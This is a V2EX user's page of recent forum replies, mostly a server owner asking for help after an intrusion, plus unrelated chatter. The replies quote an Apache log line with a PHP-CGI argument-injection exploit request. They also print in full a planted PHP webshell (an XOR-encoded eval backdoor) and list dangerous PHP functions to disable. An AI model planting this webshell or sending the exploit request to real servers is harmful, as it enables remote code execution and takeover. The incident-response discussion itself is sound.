wangybsyuct 最近的时间轴更新 wangybsyuct 最近的时间轴更新 |
wangybsyuct🏢 works V2EX 第 601820 号会员，加入于 2022-11-15 10:20:59 +08:00 |
wangybsyuct 最近回复了
6 天前 回复了 hez2010 创建的主题 › Windows › Windows on ARM 的现代待机体验太牛了 |
公版的 arm 架构的电源管理很糟糕，看看联发科的芯片就知道了。高通对 ARM 深度优化，让其芯片电源管理表现优秀，华为的麒麟对电源管理也非常优秀。
24 天前 回复了 wangybsyuct 创建的主题 › 问与答 › 我的服务器是不是被攻击并破防了 |
@redidea 好像还真是火绒的动作，我用 ProcessMonitor 监视了一下，强力删除后（普通模式删除不掉），开机后的确会重新产生，参数这些奇怪文件的进程是 system 。
动作是这样的
"当天时间","进程名称","PID","操作","路径","结果","详细"
"8:26:02.0763788","System","4","创建文件映射","C:\0package824\D7hhnTX.xls","成功","同步类型: 同步类型其它"
"8:26:02.0764087","System","4","FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION","C:\0package824\D7hhnTX.xls","成功",""
"8:26:02.0764246","System","4","写入文件","C:","成功","偏移: 0, 长度: 4,096, I/O 标记: 非缓存, 页面 I/O, 同步寻呼 I/O"
"8:26:02.0764500","System","4","设置文件结尾信息文件","C:","成功","文件结尾: 2,774"
"8:26:02.0764746","System","4","设置文件结尾信息文件","C:","成功","文件结尾: 2,601"
"8:26:02.0764956","System","4","创建文件映射","C:\0package824\2rYXhaobzW.sql","成功","同步类型: 同步类型其它"
"8:26:02.0765062","System","4","FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION","C:\0package824\2rYXhaobzW.sql","成功",""
"8:26:02.0765193","System","4","写入文件","C:","成功","偏移: 0, 长度: 4,096, I/O 标记: 非缓存, 页面 I/O, 同步寻呼 I/O"
动作是这样的
"当天时间","进程名称","PID","操作","路径","结果","详细"
"8:26:02.0763788","System","4","创建文件映射","C:\0package824\D7hhnTX.xls","成功","同步类型: 同步类型其它"
"8:26:02.0764087","System","4","FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION","C:\0package824\D7hhnTX.xls","成功",""
"8:26:02.0764246","System","4","写入文件","C:","成功","偏移: 0, 长度: 4,096, I/O 标记: 非缓存, 页面 I/O, 同步寻呼 I/O"
"8:26:02.0764500","System","4","设置文件结尾信息文件","C:","成功","文件结尾: 2,774"
"8:26:02.0764746","System","4","设置文件结尾信息文件","C:","成功","文件结尾: 2,601"
"8:26:02.0764956","System","4","创建文件映射","C:\0package824\2rYXhaobzW.sql","成功","同步类型: 同步类型其它"
"8:26:02.0765062","System","4","FASTIO_RELEASE_FOR_SECTION_SYNCHRONIZATION","C:\0package824\2rYXhaobzW.sql","成功",""
"8:26:02.0765193","System","4","写入文件","C:","成功","偏移: 0, 长度: 4,096, I/O 标记: 非缓存, 页面 I/O, 同步寻呼 I/O"
109 天前 回复了 dream4ever 创建的主题 › 程序员 › 公司 CentOS 服务器需更换系统，选择 Debian or Ubuntu？ |
刚刚爆出 OpenSSH 爆高危漏洞 CVE-2024-6387 ，我的 CentOS 7 逃过一劫，相信你的也是，老系统不是轻易换的，我的 windows server2003 就逃过多少劫了。
121 天前 回复了 wangybsyuct 创建的主题 › 信息安全 › 是谁用什么方式攻击了我的服务器呢？ |
@sampeng
@ShinichiYao
这个攻击，只要符合条件，1.中文操作系统，2.php 版本是最高的。这个是利用 php 的漏洞，处理%2d 字符的漏洞，是没法儿预防的，开了 80 或者 443 都可以攻击。如果 php 无法升级，暂时可以用 Rewrite 重定向处理，然后屏蔽掉 system,exec,shell_exec,passthru,popen 加固一下。
@ShinichiYao
这个攻击，只要符合条件，1.中文操作系统，2.php 版本是最高的。这个是利用 php 的漏洞，处理%2d 字符的漏洞，是没法儿预防的，开了 80 或者 443 都可以攻击。如果 php 无法升级，暂时可以用 Rewrite 重定向处理，然后屏蔽掉 system,exec,shell_exec,passthru,popen 加固一下。
121 天前 回复了 wangybsyuct 创建的主题 › 信息安全 › 是谁用什么方式攻击了我的服务器呢？ |
@Sw0rt1
@hgert
@ShinichiYao
@chf007
使用多款杀毒软件扫描过了，处理这些，还发现了一个被植入的挖矿程序.moneroocean ，从文件日期看，是十几天前，是不是我的系统太老了，导致其无法进一步捣乱。服务器存在的时间比较久，里面的数据有点多而且复杂，阿里云对 2003 也提供的充分的支持。如果是换成新的 windows 或者 linux ，是不是就容易中招了呢？！
服务器已经手动做了很多防护，针对远程桌面的攻击比较频繁，防护的方法除了改端口改用户名等，我还写了一个日志分析程序，如果遇到攻击远程桌面，会给发邮件，微信就会提醒。
攻击日志就像下面的，数量不多。
128.199.166.165 - - [08/Jun/2024:16:01:43 +0800] "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 200 12
从日志看，apache 居然返回的 200 的成功标志？
我自己请求这个字符串时，返回的是 500 ，居然不是 404 。
@hgert
@ShinichiYao
@chf007
使用多款杀毒软件扫描过了，处理这些，还发现了一个被植入的挖矿程序.moneroocean ，从文件日期看，是十几天前，是不是我的系统太老了，导致其无法进一步捣乱。服务器存在的时间比较久，里面的数据有点多而且复杂，阿里云对 2003 也提供的充分的支持。如果是换成新的 windows 或者 linux ，是不是就容易中招了呢？！
服务器已经手动做了很多防护，针对远程桌面的攻击比较频繁，防护的方法除了改端口改用户名等，我还写了一个日志分析程序，如果遇到攻击远程桌面，会给发邮件，微信就会提醒。
攻击日志就像下面的，数量不多。
128.199.166.165 - - [08/Jun/2024:16:01:43 +0800] "POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input HTTP/1.1" 200 12
从日志看，apache 居然返回的 200 的成功标志？
我自己请求这个字符串时，返回的是 500 ，居然不是 404 。
122 天前 回复了 wangybsyuct 创建的主题 › 信息安全 › 是谁用什么方式攻击了我的服务器呢？ |
@euph
@cnevil
@hefish
@wtks1
果然是，我在 web 根目录里发现个文件叫 Zq91u4b.php ，里面的内容就是有关 payload 的，暂时未发现服务器异常，可能是所有的程序都是自己写的原因，勒索软件暂时没有得逞，刚刚做了个快照，想想怎么完善一下，谢谢大家。那个 php 文件原文是这样的。
><?php
>@session_start();
>@set_time_limit(0);
>@error_reporting(0);
>function encode($D,$K){
> for($i=0;$i<strlen($D);$i++) {
> $c = $K[$i+1&15];
> $D[$i] = $D[$i]^$c;
> }
> return $D;
>}
>$pass='dddzzz';
>$payloadName='payload';
>$key='f25200d5d90fa403';
>if (isset($_POST[$pass])){
> $data=encode(base64_decode($_POST[$pass]),$key);
> if (isset($_SESSION[$payloadName])){
> $payload=encode($_SESSION[$payloadName],$key);
> if (strpos($payload,"getBasicsInfo")===false){
> $payload=encode($payload,$key);
> }
> eval($payload);
> echo substr(md5($pass.$key),0,16);
> echo base64_encode(encode(@run($data),$key));
> echo substr(md5($pass.$key),16);
> }else{
> if (strpos($data,"getBasicsInfo")!==false){
> $_SESSION[$payloadName]=encode($data,$key);
> }
> }
>}
>
@cnevil
@hefish
@wtks1
果然是，我在 web 根目录里发现个文件叫 Zq91u4b.php ，里面的内容就是有关 payload 的，暂时未发现服务器异常，可能是所有的程序都是自己写的原因，勒索软件暂时没有得逞，刚刚做了个快照，想想怎么完善一下，谢谢大家。那个 php 文件原文是这样的。
><?php
>@session_start();
>@set_time_limit(0);
>@error_reporting(0);
>function encode($D,$K){
> for($i=0;$i<strlen($D);$i++) {
> $c = $K[$i+1&15];
> $D[$i] = $D[$i]^$c;
> }
> return $D;
>}
>$pass='dddzzz';
>$payloadName='payload';
>$key='f25200d5d90fa403';
>if (isset($_POST[$pass])){
> $data=encode(base64_decode($_POST[$pass]),$key);
> if (isset($_SESSION[$payloadName])){
> $payload=encode($_SESSION[$payloadName],$key);
> if (strpos($payload,"getBasicsInfo")===false){
> $payload=encode($payload,$key);
> }
> eval($payload);
> echo substr(md5($pass.$key),0,16);
> echo base64_encode(encode(@run($data),$key));
> echo substr(md5($pass.$key),16);
> }else{
> if (strpos($data,"getBasicsInfo")!==false){
> $_SESSION[$payloadName]=encode($data,$key);
> }
> }
>}
>
138 天前 回复了 xumiao 创建的主题 › 买买买 › 老妈手机坏了，求推荐 1500 以内的安卓手机 |
去年这个时间，自己的华为手机实在是抗不住了，我买的 realme q5 pro ，感觉挺好，又给母亲买了同款，很不错，可以看看升级款
142 天前 回复了 ShikiSuen 创建的主题 › macOS › 公司通知下周 MAC 电脑统一安装 MDM 企业管理 |
遇到这种情况，一定是公司配电脑，朋友在外企就是这种情况，windows 笔记本，为了碎银几两，这样做是正常的，又不是原则问题，自己无法安装软件。你那边还有商量的余地，毕竟还可以申请 IT 远程安装。
Select Language